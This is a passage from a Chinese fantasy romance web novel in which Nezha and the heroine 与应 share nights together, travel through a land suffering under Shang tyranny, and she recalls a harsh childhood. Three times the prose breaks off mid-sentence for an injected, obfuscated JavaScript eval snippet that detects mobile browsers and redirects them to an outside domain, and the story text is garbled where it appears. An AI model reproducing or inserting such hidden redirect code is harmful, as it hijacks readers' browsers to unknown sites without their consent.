“我就在这儿呢。”她踮起脚,额头抵住他的,“你看,热的,活的。” 哪吒呼吸变得急促,他一把将搂进怀里,力道大得几乎让她骨骼发疼。 “……别像梦里那样消失。” “我要是真想跑……”她故意逗他,手指绕着他湿漉漉的发尾,“三太子不会用混天绫把我绑回来?” “会。”他咬着她耳尖低声道,“绑在身上,走到哪带到哪。” 与应耳根发烫,却没躲开。 “那我可要天天吵着吃糖人,还是哪吒样子的糖人。”她故意岔开话题,“烦死你。” 哪吒低低笑起来,胸腔震动传到她身上:“给你买一屋子。”他顿了顿,“……只要你在。” 夜风掠过树梢,与应恍惚听见金戈交鸣的声响,他是哪吒,灵珠子转世,身负千百杀劫,生来就是要完成天命的。 “听着。”她捧住哪吒的脸,强迫他看着自己,“就算真有那么一天……” “我是说,就算真有那天……”她望进哪吒翻涌着暗潮的眼睛,“我也一定会去找你的。” 他瞳孔微微扩大,发间莲花疯长,缠绕着两人的一缕头发打了个结。 “你保证?”他颤声道。 与应勾住那缕缠着莲花的发丝:“我要是食言……”她故意板起脸,“就让你咬回来。” 他的笑声惊起岸边栖息的萤火虫,点点绿光在他们周身浮动。 “不行。”他低头蹭了蹭她的鼻尖,“要加倍。” “怎么加倍?” 少年眼中暗潮退去,又恢复了往日带笑的模样:“每天咬三次,早中晚各……” 话未说完就被与应拧了耳朵。 “想得美!”她红着脸松开他,“回去了!” 哪吒却站在原地没动,月光将他的影子拉得很长,几乎要融进远处的黑暗里。 “与应。”他轻声唤她,“如果,如果真的有一天你不见了……” 夜风突然变得很凉,与应回头看他,发现少年半边身子都浸在阴影中,只有发间的莲花泛着微光。 “我会把一切都毁掉的。”哪吒笑着说,眼底却结着冰,“所以……别给我这个机会。” 原来未来封神台上煞气冲天的先行官,踏碎南天门的叛逆者,或许都始于某个人的消失。 “不会的。”她跑回去紧紧抱住他,“我发誓。” “……嗯。” 与应,你一定不要骗我。他在心里说。 回屋的路上,哪吒一直紧紧攥着她的手,直到推开吱呀作响的木门,与应才发现他掌心里全是冷汗。 “你……”她刚开口,少年松开手,转身去整理那张窄小的木榻。 他动作很急,卷成一团的被子被抖搂平铺开。 与应站在门边没动,月光从窗缝漏进来,在地上画出一道颤动的银线,正好隔在她与哪吒之间。 “睡吧。”哪吒背对着她说,声音闷闷的,他脱了外袍,只穿着素白里衣,轮廓在布料下若隐若现。 与应咬了咬下唇。 方才在池塘边信誓旦旦说要一起睡的是谁?现在倒知道害臊了,她故意踩着重重的步子走到榻边,听见哪吒的呼吸急促起来。 “我睡里面。”她宣布道,伸手去推哪吒的肩膀,触到的瞬间却愣住了。 少年浑身紧绷,隔着衣料都能感受到不正常的体温。 “你……”与应缩回手,“发烧了?” 哪吒终于转过身,发间那朵莲花在昏暗的室内泛着莹润的光。 “我不会生病。” 与应将信将疑地伸手探他额头,被烫得一哆嗦:“这还不叫发烧?” “是……”哪吒抓住她的手腕,喉结滚动了一下,“是你咬的伤口……” 与应这才注意到他锁骨处的牙印又渗出几片幼嫩花瓣,周围的皮肤泛着红晕。 她下意识凑近,闻到一股比平日更加浓郁的莲香,甜得让人头晕。 “怎么会……”她指尖轻触那个伤口,哪吒立刻倒抽一口冷气,“很疼?” 少年摇头,眼里蒙着水雾:“痒。” 她似乎明白了什么,耳根瞬间烧了起来,慌忙退开时候却不小心绊到床沿,整个人向后倒去。 哪吒下意识揽住她的腰,两人一起跌进床榻,震得老旧木架吱呀作响。 “你……”与应被困在哪吒身下,他身上的温度更加烫灼了,“你先起来……” 哪吒没动。 他垂眸看着怀里的少女,发间莲花簌簌抖动,落下几星金粉,那些粉末飘在与应脸上,惹得她打了个喷嚏。 “阿嚏!” 这个喷嚏打破了某种微妙的氛围。 哪吒笑出声,整个人松懈下来,顺势滚到床榻外侧:“睡吧,不闹你了。” 与应悄悄松了口气,又莫名有些失落,她背对着哪吒躺下,听见身后窸窸窣窣的声响,然后是少年刻意放轻的呼吸。 月光渐渐西移,屋内越来越暗。与应数到二百朵莲花时,终于忍不住小声问:“你睡着了吗?” 身后没有回应。 她小心翼翼转身,发现哪吒蜷缩着身子,发间的莲花也已经合拢,月光描摹着他的侧脸,长睫毛在眼下投出一小片阴影,看起来竟有几分稚气。 她伸手轻轻拂开他额前散落的碎发,指尖碰到皮肤的瞬间,哪吒突然抓住她的手腕。 “冷……”他闭着眼嘟囔,声音带着睡意朦胧的沙哑。 与应这才注意到少年在微微发抖,她犹豫片刻,慢慢挪近了些,让两人的手臂贴在一起:“这样呢?” 哪吒没有回答,但紧绷的身体明显放松下来,他的手指顺着与应的手腕滑下去,最后与她十 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15647623|172776||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 指相扣。 “睡吧。”他含糊地说,拇指无意识地摩挲她手背。 与应看着两人交握的手。 她轻轻叹了口气,往哪吒那边又靠了靠,少年身上传来清冽的莲香,混着一丝若有若无的血腥气,与应悄悄吸了吸鼻子,她觉得这味道真是莫名安心。 窗外,最后一点月光也被云层吞没,黑暗中,与应感觉哪吒翻了个身,温热的气息拂过她后颈。 “与应……”他梦呓般唤道,手臂环上她的腰。 她应该推开他的。 可当少年带着莲香的气息包围过来时,与应只是轻轻“嗯”了一声,放任自己沉溺在这个拥抱里。 · 与应在一片迷雾中行走,脚下粘稠,湿冷,远处传来孩童的笑声,清脆得近乎刺耳。 “哪吒——”她下意识唤道,声音却被浓雾吞没。 笑声逼近。 一个小童从雾中蹦出来,他生得雪肤朱唇,眉目如画,双髻绾着赤绫,眉心一道赤色竖痕,耳挂金环,颈戴乾坤圈,腕缠混天绫,他赤足踏在血泥中,足踝纤细如藕节,偏生脚下骸骨支离。 “你找我?”小童歪头看她,眼睛亮得瘆人。 与应后退半步,这孩子除了眉心的印记不同,简直就是缩小版的哪吒,可眼中翻涌的戾气却让她脊背发凉。 “你……” “我怎么了?”小童贴到她面前,冰凉的手指掐住她下巴,说话时嗓音清亮,带着孩童特有的甜软,“不是你要找哪吒吗?” 混天绫如毒蛇般缠上她的腰,与应这才看清那红绫上沾着碎肉,血腥气扑面而来。 “姐姐,陪我玩吧?” “不……”她挣扎着,却见小童手中突然多出一杆火尖枪,枪尖挑着颗面目狰狞的龙头。 “你看!”他兴奋地晃了晃那颗头颅,“我抽了它的筋!” 龙血甩在她脸上,烫得她一哆嗦。 这不是她师兄,她的哪吒虽然任性,却不会用这种眼神看她——像是在打量一件有趣的玩具。 他笑时最是摄人,唇红齿白,眉眼弯弯,天真得近乎甜蜜,可那笑意不达眼底,只余一片森冷金芒,美则美矣,却让人毛骨悚然。 冰冷的手指滑过她脖颈上的金色咒文。 “姐姐,你长得真好看呀。” 那指尖的触感像蛇腹般湿冷,与应浑身僵住,喉间发紧,他凑得更近,鼻尖抵上她的脸颊,轻轻嗅着。 “我要养你!”他宣布道,“我带你去见爹爹!他准我养小狗,你比小狗漂亮多了!” 哪吒的手指还掐在她下巴上,力道大得几乎要捏碎她的骨头。 “我不喜欢不乖的小狗。”他眯起眼睛,“姐姐,你会听话的,对吧?” 混天绫越缠越紧,与应几乎能听见自己肋骨不堪重负的声响,她强忍着剧痛,指尖悄悄掐诀—— “想跑?” 他笑着继续靠近,乾坤圈嗡鸣着飞到他手中,他按住那截纤细脖颈。 然而乾坤圈即将套上的那刻,少女却突然在他眼前消失。 不见了。 他缓慢眨眼,指尖似乎还残留着那抹温度。 19. 世道 晨光透过窗的缝隙斜射进来,在与应的眼皮上投下一片暖红。 她皱了皱眉,意识从混沌中浮起,耳畔传来均匀的呼吸声。 “唔……”她刚想翻身,却发现腰间横着一条结实的手臂,将她牢牢箍住。 后背紧贴着少年滚烫的胸膛,隔着薄薄的衣料,几乎能感受到他呼吸的起伏。 她的脸烧了起来。 昨晚的记忆如潮水般涌来——哪吒发烧时脆弱的样子,两人十指相扣的温度,还有他梦呓般唤她名字时呼在她后颈的热气。 “醒了?”头顶传来沙哑的声音,哪吒不知何时已经醒了,正低头看她。 与应慌忙想挣开他的怀抱,却被搂得更紧,哪吒的下巴抵在她发顶,轻轻蹭了蹭:“再躺会儿。” “天亮了……”与应小声抗议,却不敢抬头看他。 她怕一抬头就会撞上那双总是含着笑意的眼睛,更怕看到那眼底藏着的、梦里令她心惊的乖戾。 哪吒沉默了片刻,松开手,与应立刻翻身坐起,手忙脚乱地整理自己凌乱的衣襟。 余光瞥见哪吒锁骨处的牙印,那里的伤口竟然还在渗出细小的花瓣,周围的皮肤泛着不正常的红晕。 “还疼吗?”她忍不住伸手,却在即将触及时停住,指尖微微发颤。 哪吒捉住她的手腕,将她的掌心贴在自己发烫的伤口上:“你咬的,你得负责。” 与应想抽回手,却被他牢牢按住。 花瓣蹭着她的掌心,痒痒的触感顺着胳膊一直爬到心尖上,她想起昨晚梦里那个满身戾气的小哪吒,不由得打了个寒颤。 “怎么了?”哪吒敏锐地察觉到她的异样,眉头微皱。 “做了个噩梦。”她勉强笑了笑,“梦见一个凶神恶煞的小娃娃,要拿乾坤圈套我。” 他沉默片刻,随即松开与应的手,转身下榻,背对着她整理衣袍:“梦都是反的。” 与应看着他的背影,总觉得那挺直的脊背透着一丝僵硬。 她想起梦里小哪吒挑着龙头的样子,又看看眼前这个连整理衣领都一丝不苟的少年,怎么也无法将两者联系在一起。 “我们今天回乾元山吧。”哪吒突然说,“让师父看看你的伤。” 与应这才注意到自己手腕上不知何时浮现出几道淡金色的纹路,脖子上也一阵滚烫,她唤来往生绫遮住。 “好。”她轻声应道,心里却莫名不安。 昨晚哪吒那句“我会把一切都毁掉”的话犹在耳边,像一把悬在头顶的利剑。 不过,她又不会突然消失,也不用担心什么吧。 收拾行装时,哪吒一直沉默,直到推开吱呀作响的院门,他才转身,将一样东西塞进与应手里。 “给你的。” 与应低头,掌心里躺着一枚小巧的莲花玉坠,通体莹白,只在花心处有一点朱砂似的红,她捻起红绳,玉坠在晨光中微微晃动,折射出细碎的光斑。 “戴上。”哪吒不由分说地帮她系在颈间,“有我的灵力,遇到危险能挡一阵。” 少女眉头一皱,这人在说什么?她弱? 哪吒见她皱眉,不急不慢补充下一句:“知道你不弱,没危险当个坠子戴也挺好的。” “嗯……” 与应摸着温润的玉坠,想起什么:“那你呢?” 哪吒已经大步走在前头,闻言回头冲她一笑。 “我?”他拍了拍腰间的混天绫,“谁能伤我?” 与应小跑着追上他,故意撞了下他的肩膀:“自大狂。” 哪吒顺势揽住她的腰,在她耳边低声道:“昨晚是谁抱着我不放的?” “你!”与应涨红了脸,用力推开他,“明明是你往我身上蹭!” 两人和村民告别后,笑闹着走出村子。 · 山风拂过,带来远处村庄焚烧后的焦糊味。 “前面就是陈塘关了。”哪吒停下脚步,指向远处隐约可见的城墙轮廓。 与应顺着他手指的方向望去,却皱起了眉头,记忆中繁华的关城如今城门紧闭,城墙上士兵来回巡逻,戒备森严。 城门外排着长长的队伍,都是等待入城的百姓,其中不少人衣衫褴褛,面黄肌瘦。 “怎么变成这样了?” 哪吒冷笑:“纣王加征赋税,各地关卡都严查逃税的商旅和流民。”他目光扫过那些扶老携幼的百姓,“听说东伯侯领地上月又爆发了起义,朝廷派闻仲前去镇压,死了不少人。” 与应感觉颈间的纹路开始灼热起来,她强忍着没有去抓挠。 自从那晚奇怪的梦后,这些纹路就像活物般时隐时现,每次天下有战乱消息传来,就会发烫。 甚至梦中的天幕变得更加破碎。 “我们绕过去吧。”哪吒察觉到她的不适,伸手扶住她肩膀,“不必跟那些官兵打交道。” 与应点点头,却注意到城门外一个熟悉的身影,一个穿着粗布衣裳的老人正在给排队的人们分发干粮和水。 “是你……”她没说出下个字。 他表情平淡:“他辞官后一直在这里救济流民。” 与应感到哪吒握着她肩膀的手紧了紧,又缓缓松开,她看到李靖放下身段帮助百姓的样子,还是忍不住说:“要不要去打个招呼?” 哪吒摇摇头,转身走向另一条小路:“赶路要紧。” 离开陈塘关范围后,沿途的景象越发荒凉,田野荒芜,村庄十室九空,偶尔遇到的行人也都神色惶惶,步履匆匆。 正午时分,两人在一处废弃的茶棚歇脚。哪吒用混天绫卷来几枚野果,递给与应:“再走半日就能到乾元山了。” 与应接过果子,却没什么胃口。她注意到哪吒锁骨处的花瓣伤口又开始渗细小的花瓣。 “你这里……”她忍不住伸手,却在半空停住。 哪吒带着她的手去触摸那里,柔软指尖摁住那里,引起一阵战栗:“这痛是你带给我的,让它留着罢。” 莲藕身不会留下痕迹,这伤只能是他特意用法术维持的。 “你傻啊,这东西有什么可——” 远处传来马蹄声和哭喊声,两人对视一眼,迅速隐蔽到茶棚后的树丛中。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15647624|172776||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一队商朝士兵押着十几名被绳索捆绑的壮丁经过,为首的军官挥舞着皮鞭,抽打那些走得慢的人。 “奉大王命,征召壮丁修建鹿台!敢有反抗者,诛九族!” 她看到哪吒眼中闪过一丝红光,急忙抓住他的手腕:“别冲动,现在还不能杀。” 哪吒深吸一口气,眼中的红光渐渐消退:“我知道。他们抓的都是些上有老下有小的农夫,这一去就是死路一条。” 与应看着那些被强行带走的百姓,其中有个少年看起来不过十五六岁,哭喊着要回家照顾生病的母亲,却被士兵一脚踹倒在地。 “我们能做些什么?”她轻声问。 “救得了一时,救不了一世。除非——” 他没有说完,但与应明白他的意思,除非改朝换代,否则这样的暴政不会结束。 待士兵队伍远去后,两人才重新上路,气氛比之前沉重了许多。 傍晚时分,他们来到一个小镇,镇子比沿途看到的村庄要热闹些,但客栈门口都贴着朝廷通缉叛党的告示,街上不时有巡逻的士兵经过。 “两位打尖还是住店?”掌柜的压低声音问道。 “住店,要两间上房。”哪吒抛出一块碎银。 掌柜的接过银子,却面露难色:“这个……最近朝廷查得严,住店需要路引……” 哪吒眯起眼睛,手指在柜台上轻轻敲了两下,掌柜的突然眼神迷离,随即点头哈腰:“啊,想起来了,两位贵客的路引刚才已经验过了。楼上请,楼上请!” 与应知道哪吒用了点小法术,但也没说什么,跟着小二上楼时,她听到大堂角落两个商人打扮的男子正在低声交谈。 “…东伯侯已经联合了南伯侯…朝歌那边还不知道…” “…听说闻太师已经起疑了…派了人监视四大诸侯府…” “…姜桓楚的女儿在宫里…会不会…” 声音越来越小,与应还想再听,却被哪吒拉上了楼。 “别多事。”哪吒在她耳边轻声道,温热的气息拂过耳廓,“先安顿下来。” 进入房间后,与应刚放下行李,哪吒就闪身进来,迅速关上门。 “你也听到了?”他眉头紧锁,“四大诸侯可能要反。” 与应点点头:“如果诸侯联合起来……” “天下大乱。”哪吒接上她的话,眼中却有种奇怪的兴奋,“也许是个机会。” 与应不解地看着他:“什么机会?” 哪吒走到窗边,望着远处隐约可见的乾元山轮廓。 “改天换地的机会。”他转身看向与应,“你不觉得这个世道该变一变了么?” 她脑中浮现那个满身戾气的小哪吒,站在尸山血海中大笑的样子。 哪吒察觉到了她的异样,走过来握住她的手:“怎么了?手这么凉。” 与应勉强笑了笑:“可能是累了。”她犹豫了一下,“哪吒,如果、如果真的天下大乱,你会怎么做?” 哪吒歪头看她,唇角翘起:“怎么,怕我变成疯子?” “放心,我有你呢。你会拉住我的,对吧?” 20. 老 少年歪着头看她,眼中映着烛火跳动的光:“放心,我有你呢。你会拉住我的,对吧?” “谁要拉你。”与应别过脸去,却掩不住嘴角的笑意,她抽回被哪吒握住的手,假装整理衣袖。 哪吒轻笑一声,捏了捏她的耳垂:“耳朵红了。” “哪吒!”与应拍开他的手,却被他顺势拉入怀中。 门外传来急促的脚步声,两人迅速分开,掌柜的敲门声打破房内的氛围:“两位客官,实在对不住!官府征用客房,只剩一间了……” 哪吒看向与应,挑了挑眉,与应张口想说什么,却听到楼下官兵粗鲁的呵斥声,没办法,微不可见地点了点头。 “一间就一间吧。”哪吒打开门,接过掌柜手中颤抖的油灯。 门关上后,房间突然变得狭小起来,与应站在窗边,假装对夜色感兴趣,实则透过窗纸的倒影偷看哪吒。 少年正将混天绫挂在床柱上,红绫在烛光下如流动的血液。 “怕吗?”哪吒突然问道,声音里带着与应熟悉的调侃。 与应转身瞪他:“怕什么?” “孤男寡女,共处一室……”哪吒故意拉长声调,“万一我兽性大发……” “怕什么?又不是没一起睡过。”与应扬起下巴,故意用满不在乎的语气说道,耳尖却红得能滴出血来。 “哦?原来与应仙子记得这么清楚?”他慢悠悠地走近,“那上次我穿什么颜色的里衣,你可还记得?” “谁、谁会注意那个!”与应抓起另一个枕头砸过去,被哪吒轻松接住。 少年抱着两个枕头站在床前,歪头打量不算宽敞的床榻。 “既然一起睡过,那仙子应该不介意我睡相不好?”他捂住锁骨处的伤口,“哎呦,这伤处今夜格外疼,说不定半夜会疼得乱滚……” 与应明知他在装模作样,却还是忍不住上前查看:“又渗花瓣了?让我看看——啊!” 哪吒揽住她的腰往床上一倒,两个枕头精准地落在床头,与应跌在他怀里,鼻尖撞上他的胸膛,鼻尖萦绕着淡淡的莲花香。 “骗你的。”头顶传来得意的声音,“我睡相好得很,上次某人踢被子还是我给盖好的。” 与应撑起身子瞪他:“哪吒!” 却见少年已经迅速滚到床内侧,用被子把自己裹成个茧,只露出一双亮晶晶的眼睛。 “我睡里面,省得半夜掉下去。”他的声音闷在被子里,却藏不住笑意,“仙子请自便。” 与应又好气又好笑,看着那个故意装乖的“茧”,叹了口气吹灭油灯。 她小心翼翼地躺到床外侧,刻意与哪吒保持一掌宽的距离,木床发出轻微的吱呀声,在夜里格外清晰。 “你睡觉还穿外袍?”被子里传来闷闷的疑问。 与应揪紧自己的衣领:“当然!” 哪吒从被卷里探出头来,黑发铺在枕上像泼墨:“可我热。” 说着就开始解衣带。 “你!”与应慌忙转身背对他,“不许脱!” 身后传来窸窸窣窣的声音,然后是哪吒带着笑意的低语:“骗你的,穿着呢。” 与应气得踹了一脚被子,却听到哪吒“嘶”地抽气。 “真踢着了?”她急忙转身,却撞进少年早已准备好的怀抱。 哪吒趁机将她搂住,下巴抵在她发顶:“抓到你了。” “幼稚!”与应挣扎未果,索性放弃,却听到头顶传来一声满足的叹息。 “这样真好。”他声音突然变得很轻,“比一个人暖和多了。” 算了,由着他吧。她放松身体,任由他抱着。 “你心跳好快。” “你闭嘴。” “哦。”安静了片刻,“与应。” “又干嘛?” “我好像……有点紧张。” 她惊讶抬头,却见哪吒的耳根红得厉害,在月光下无所遁形,那个平日里天不怕地不怕的哪吒三太子,此刻竟像个情窦初开的毛头小子,哪有半点除妖时的凶狠模样? 她伸手戳了戳哪吒发烫的耳垂:“原来你也会紧张?” 哪吒捉住她作乱的手指,眼神闪烁:“和喜欢的人同床共枕,紧张不是很正常?” 直球攻击让与应瞬间败下阵来,她把脸埋在哪吒胸前装死,却听到他胸腔传来愉悦的震动。 夜渐深,与应迷迷糊糊间感觉哪吒的手指穿过她的发丝,轻轻按摩着头皮,舒服得她直想哼哼。 “睡吧。”少年在她额间落下一个吻,“我在呢。” 半梦半醒间,与应迷迷糊糊想起上次同宿时,哪吒微微颤抖的脊背,近乎呢喃的唤着她名字。 她又想起在乾元山的时候,少年笑着为她绾发,他们初见的时候,甚至还在针锋相对,后来她看到他的颤抖,看到他的脆弱。 从食欲,到惺惺相惜,到怜爱,再到……居然已经过去这么久了吗? 与应往温暖的源头又靠了靠,在彻底坠入梦乡前,感觉有什么柔软的东西轻轻擦过她的唇角。 花瓣似的,又凉又甜。 她胡乱哼唧一声转过身继续睡,又被少年笑着搂进怀里。 · 翌日清晨,两人踏着晨露出发。 与应嫌速度太慢想用腾云回去,却被哪吒拦住,他总觉得现在回去有些太早,似乎他们之间的安生日子要不多了。 果不其然。 两人刚收拾好下楼,客栈大堂里,几个衣衫褴褛的难民正被官兵推搡着赶出门外。 一个瘦弱的妇人抱着婴儿跪在地上哀求:“大人行行好,给口水喝吧……” 为首的官兵一脚踢开她:“滚开!别挡道!” 婴儿从妇人怀中跌落,眼看就要摔在地上,与应身形一闪,稳稳接住孩子。 妇人爬过来抱住她的腿:“仙子救命!我们走了三天三夜,孩子快不行了……” 与应看向哪吒,后者已经冷着脸走向那些官兵,领头的见是个少年,不屑地伸手去推:“哪来的小崽子多管闲——啊!” 哪吒单手捏住他的手腕,咔嚓一声,那官兵惨叫着跪倒在地,其余人见状拔刀,哪吒冷笑,混天绫从袖中飞出,瞬间将他们捆成一团。 “滚回去告诉你们主子,再让我看见欺压百姓……” 似乎想到什么,他冷不丁掏出绣球,将它举在几人面前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15647625|172776||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,像在对准准头。 “算了,待来日取他首级,一并算。”少年将绣球抛起,腿部发力,几个被捆成粽子的士兵直接被砸得飞了出去。 那力道,与应觉得他们还是自求多福吧,她将跪倒在地的妇人扶起,将怀中的孩子还到她怀里。 哪吒擦着绣球,嫌弃道:“都怪这几个蠢货,把我的宝贝都污了。” 与应拍了下他脑门,少年愣住,她道:“行了,别嫌弃了,赶紧赶路吧。” 哪吒捂着被轻拍的额头,眼睛微微睁大,随即眼底漾开细碎的笑意。 “这算什么,对师兄不敬?” 与应上下扫了他一眼,然后半推着他往外走,无语道:“算暗号行了吧,再说,哪还有比师兄妹睡一起还大逆不道的?” 少年顿时红了脸,急忙捂住她的嘴。 “别乱说!还什么都没做呢!” 与应不和他计较,心里思量着这连往生绫都控制不住的怨气是怎么回事,算了,还是回去问问师父吧。 谁料他们刚走出几步,身后突然传来妇人颤抖的声音:“小……小小姐?” 两人停下脚步同时回头,妇人走近几步,她颤抖着想要触碰与应的脸庞,又在半空停住:“这眉眼……和将军一模一样……” “将军……” 耳边一阵嗡鸣,脑海中闪过零碎片段,剑的嗡鸣,荒诞的神临,消散的花瓣。 她下意识按住太阳穴,脖颈上的金色咒文隐隐发烫。 “想不起来就别想了,我带你走。” 哪吒握住她冰凉的手腕,与应轻轻摇头示意自己没事,她深吸一口气,看向那位泪眼婆娑的妇人:“您与那位褚将军相熟?” 听到这话,妇人身体一僵,并没有立马回答她的问题,而是激动道:“您现在是何姓名?!” 哪吒挪动脚步,微微挡住她的视线。 “她叫与应。” 妇人抱紧怀中的孩子,喃喃自语似的:“那就好……那很好,好名字……” 若是将军能看到的话,也会高兴吧。妇人看着少女,也像是在看着故人。 与应被这眼神烫到,捏住少年衣袖,平复心情后开口:“您似乎与那位将军关系不一般?” 妇人微微一笑,摸了摸怀中的孩子,缓声道:“当年将军赢了胜仗,归顺朝廷,才有了‘恩赐’……” 恩赐…… 耳边响起一阵刺耳的嗡鸣声,她似乎嗅到梅花的冷香,又似乎尝到清苦的药味,脚下土地逐渐变软,天与地颠倒。 与应睁开眼,发现自己站在一片白茫茫的雾气中,脚下是如镜的水面。 “哪吒?” 声音如同被吞噬,连回音都没有,她掐诀想唤出灵力,却发现经脉滞涩,如陷泥沼。 场景飞速变换,最终停留在一条小巷。 身后传来悉悉索索的脚步声,与应握紧如意剑朝身后劈去,额头忽然传来熟悉又陌生的触感,她惊醒般抬眼,女子两指并拢抵在她眉间那枚钿纹上。 “阿应。” 女子轻轻开口,如意剑穿透她的身体,却丝毫不见血迹,那双温柔的眼里映出与应破碎的,惨白的面容。 21. 病 一个约莫七八岁的小女孩正踮着脚去接飘下的海棠花瓣,她穿着一身鹅黄衣裳,发间系着桃粉发带,最奇的是那双眼——清凌凌的杏眼,眼尾微微上挑,眸色浅淡如琉璃。 她捧着满手花瓣跑进里屋,药香混着苦涩扑面而来,屋内光线昏暗,只有一缕淡青色烟雾从香炉中笔直升起,又被榻上妇人的咳嗽声搅得支离破碎。 “娘!今年的花长得真好呀!快来看看!” 榻上盖着厚重被褥的妇人却移开视线,看着女儿掩在花瓣下的,布着的与年纪不符的茧子。 “黎应,往后不要再来了。” 她面上的笑容僵住一瞬,却又很快恢复,只自顾自的将花瓣捻起,取了片放在母亲枕边,但她很快发现,枕下露了半截信笺。 是那人留下的。她假装没看见,只是仔细地为母亲掖好被角,然后安静地退了出去。 走出院门,黎应脸上的笑容退潮般消失,她摊开手掌,看着那些被汗水浸湿的花瓣黏在茧子上,像一个个小小的伤口。 半晌,她轻轻舔去那些花瓣。 · 黎应的记忆里没有拥抱。 她出生那日,褚云玺刚生产完就支起身子,用沾血的手指抚过婴儿的脸颊。 “应”这个字脱口而出,没有任何寓意,就像随手从书架上抽出的一本书。 幼童第一次见到母亲,藕节似的小手抬起来想摸摸她,却被女人无情避开,她不明白,为什么被称之为母亲的人拒绝她的触碰。 女人甩了甩袖子,失去支撑的小黎应重重摔倒在地,泪珠流下眼眶,鼻尖通红。 褚云玺居高临下命令道:“不许哭,站起来。” 小黎应听不懂这么复杂的指令,只是本能地伸出手臂,带着哭腔喊:“娘……” 女人却站在那里始终不为所动,她站在背光里,看不出神情,只是继续重复道:“你是我的孩子,这世上能让你跪的,只有你自己的影子。现在,站起来。” 小黎应拍了拍身上的灰站起来,小心翼翼去勾母亲的手指,女人这次没有避开。 小孩脸上还挂着未干的泪痕,感受到母亲的温度便嬉笑起来,丝毫没记起刚才让她摔倒的正是眼前的女人。 后来抓周宴,毯上摆了琳琅满目的物件,小黎应爬过算盘、诗经,却在众人惊呼中抓住了正中央的物件—— 一柄剑。 众人恭维着这丫头会成为天下第一剑士。 而小黎应当时只是看到了有片花瓣落到上面,好奇去摸而已,殊不知,这一举动让黎昭然的算计更深一步。 而那之后,四季轮转,风雨不歇的琢磨剑意,生了冻疮握不住剑就用发带绑着,脚步虚浮就在地上撒满铁刺,用鲜血磨练步法。 最开始她还会娇气的撇下剑,哭着跑到母亲那里,女人始终不为所动,只是将止血的药膏抹到她手上。 “黎应,你要变强,强到可以决定自己的人生……” 那时的她听不懂,只是难得在褚云玺那张英气的脸上看到惆怅,孩童轻轻眨着眼,凑到母亲颊边亲了一口,不熟练的哄道:“不难过,亲亲不难过。” 这个动作总能换来片刻的宁静,褚云玺会停下涂药的手,目光复杂地看着女儿。 有那么一瞬间,黎应觉得母亲就要抱她了,但最终只是被轻轻推开。 “继续练剑。” · 春天来临时,黎应的剑法有了长进,她能在铁刺密布的地面上完成一套基础剑法而不受伤,手上的茧子也厚了一层。 黎昭然对此勉强满意,减少了亲自监督的次数,改为留下严苛的训练任务。 那天午后,黎应完成了当天的练习,正坐在海棠树下休息,粉白的花瓣随风飘落,她伸手去接,却听见墙头传来窸窣声。 “喂!你在干什么呀?” 黎应吓了一跳,抬头看见一个扎着歪歪扭扭小辫的女孩正趴在墙头,好奇地打量她,女孩约莫和她同龄,脸上沾着泥土,却笑得灿烂。 “我、我在接花瓣。”黎应结结巴巴回答,下意识环顾四周,生怕父亲突然出现。 “真好玩!我叫阿宝,住在隔壁。你叫什么?” “黎应。”她小声回答,心脏砰砰直跳。这是她第一次和府中以外的人说话。 阿宝晃了晃脑袋,从口袋里掏出一块糖:“给你!我娘做的麦芽糖,可甜了!” 黎应犹豫着伸出手,阿宝却因为探身太过,整个人从墙头栽了下来,两个女孩同时惊呼,阿宝摔在了黎应身上,两人滚作一团。 “哈哈,真好玩!”阿宝爬起来,拍拍身上的土,将糖塞进黎应手里,“尝尝!” 黎应小心地舔了一口,甜味在舌尖炸开的瞬间,她眼睛瞪得圆圆的。 原来世界上有这么好的东西,比不练剑的日子还好。 “好吃!” “对吧?我明天再给你带!”阿宝凑近她耳边,“我知道一个秘密地方,那边有棵大梨树,我们可以爬上去摘梨子!” 黎应刚要点头,远处传来脚步声,她脸色煞白,猛地推开阿宝:“快走!我爹来了!” 阿宝不明所以,但还是敏捷地爬上墙头,在黎昭然出现前一秒消失了踪影。 “你在和谁说话?” “没、没有……”黎应低下头,手心里还攥着那块已经开始融化的麦芽糖。 黎昭然冷哼一声,没再追问,只是命令她继续练习。 那天晚上,她躲在被窝里,把已经化得不成形的糖块一点点舔干净,甜味萦绕在舌尖,让她做了一个前所未有的美梦。 · 第二天一早,黎应早早完成晨练,蹲在海棠树下等,一片花瓣落在她鼻尖上,痒痒的,但墙那边静悄悄的。 阿宝没有出现。 第三天、第四天……墙那边再也没有传来那个活泼的声音。 黎应小心碰了碰替她擦拭剑身的母亲,女人头也不抬道:“他们搬走了。” 褚云玺很奇怪,每每对她避之不及,却主动接过了保养剑器的活,只 